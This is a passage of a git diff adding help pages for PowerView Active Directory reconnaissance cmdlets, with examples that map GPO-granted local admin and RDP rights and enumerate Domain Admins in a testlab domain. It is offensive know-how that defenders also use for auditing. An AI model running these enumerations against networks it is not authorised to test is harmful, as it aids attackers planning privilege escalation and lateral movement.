pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OUIdentity +An OU name (e.g. +TestOU), DistinguishedName (e.g. +OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. +8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: OUIdentity +Aliases: OU + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LocalGroup +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. +Defaults to local 'Administrators'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GGPOComputerLocalGroupMember + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGPOLocalGroup.md b/docs/Recon/Get-DomainGPOLocalGroup.md new file mode 100755 index 00000000..e61fb823 --- /dev/null +++ b/docs/Recon/Get-DomainGPOLocalGroup.md @@ -0,0 +1,259 @@ +# Get-DomainGPOLocalGroup + +## SYNOPSIS +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. +Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +## SYNTAX + +``` +Get-DomainGPOLocalGroup [[-Identity] ] [-ResolveMembersToSIDs] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. +For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. +Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGPOLocalGroup +``` + +Returns all local groups set by GPO along with their members and memberof. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGPOLocalGroup -ResolveMembersToSIDs +``` + +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup +``` + +Return any GPO-set groups for the GPO with the given name/GUID. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainGPOLocalGroup 'Desktops' +``` + +Return any GPO-set groups for the GPO with the given display name. + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred + +## PARAMETERS + +### -Identity +A display name (e.g. +'Test GPO'), DistinguishedName (e.g. +'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. +'10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. +'{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveMembersToSIDs +Switch. +Indicates that any member names should be resolved to their domain SIDs. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPOGroup + +## NOTES + +## RELATED LINKS + +[https://morgansimonsenblog.azurewebsites.net/tag/groups/](https://morgansimonsenblog.azurewebsites.net/tag/groups/) + diff --git a/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md b/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md new file mode 100755 index 00000000..d42a4be1 --- /dev/null +++ b/docs/Recon/Get-DomainGPOUserLocalGroupMapping.md @@ -0,0 +1,258 @@ +# Get-DomainGPOUserLocalGroupMapping + +## SYNOPSIS +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. +If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +## SYNTAX + +``` +Get-DomainGPOUserLocalGroupMapping [[-Identity] ] [-LocalGroup ] [-Domain ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. +resolving the user/group to its proper SID + 2. +enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. +pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. +matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. +enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. +querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -\> machine mappings discovered through +GPO relationships are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-GPOLocation +``` + +Find all user/group -\> machine relationships where the user/group is a member +of the local administrators group on target machines. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-GPOLocation -UserName dfm -Domain dev.testlab.local +``` + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-GPOLocation -UserName dfm -Domain dev.testlab.local +``` + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -LocalGroup +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. +Defaults to local 'Administrators'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +{{Fill SearchBase Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +## NOTES + +## RELATED LINKS + +[http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/](http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/) + diff --git a/docs/Recon/Get-DomainGroup.md b/docs/Recon/Get-DomainGroup.md new file mode 100755 index 00000000..faaa0824 --- /dev/null +++ b/docs/Recon/Get-DomainGroup.md @@ -0,0 +1,397 @@ +# Get-DomainGroup + +## SYNOPSIS +Return all groups or specific group objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainGroup [[-Identity] ] [-MemberIdentity ] [-AdminCount] [-Domain ] + [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all group objects for +the current domain are returned. +To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGroup | select samaccountname +``` + +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainGroup *admin* | select distinguishedname +``` + +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl +``` + +samaccountname +-------------- +Server Admins + +### -------------------------- EXAMPLE 4 -------------------------- +``` +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +``` + +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) + +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local + +### -------------------------- EXAMPLE 5 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred + +### -------------------------- EXAMPLE 6 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainGroup\] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainGroup\] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) + +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -MemberIdentity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: UserName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AdminCount +Switch. +Return users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Properties +Specifies the properties of the output object to retrieve from the server. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SecurityMasks +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FindOne +Only return one result object. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: ReturnOne + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Raw +Switch. +Return raw results instead of translating the fields into a custom PSObject. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.Group + +Custom PSObject with translated group property fields. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-DomainGroupMember.md b/docs/Recon/Get-DomainGroupMember.md new file mode 100755 index 00000000..5381b2cd --- /dev/null +++ b/docs/Recon/Get-DomainGroupMember.md @@ -0,0 +1,401 @@ +# Get-DomainGroupMember + +## SYNOPSIS +Return the members of a specific domain group. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID + +## SYNTAX + +### None (Default) +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-LDAPFilter ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] + [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +### ManualRecurse +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-Recurse] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] [-Credential ] +``` + +### RecurseUsingMatchingRule +``` +Get-DomainGroupMember [-Identity] [-Domain ] [-RecurseUsingMatchingRule] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] [-Tombstone] + [-Credential ] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. +Each result is then rebound and the full user +or group object is returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainGroupMember "Desktop Admins" +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +'Desktop Admins' | Get-DomainGroupMember -Recurse +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule +``` + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember +``` + +### -------------------------- EXAMPLE 5 -------------------------- +``` +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember +``` + +### -------------------------- EXAMPLE 6 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +### -------------------------- EXAMPLE 7 -------------------------- +``` +Get-Domain | Select-Object -Expand name +``` + +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: \[Get-DomainGroupMember\] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainGroupMember\] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: \[Get-DomainSearcher\] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: \[Get-DomainObject\] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +Group1), DistinguishedName (e.g. +CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Recurse +Switch. 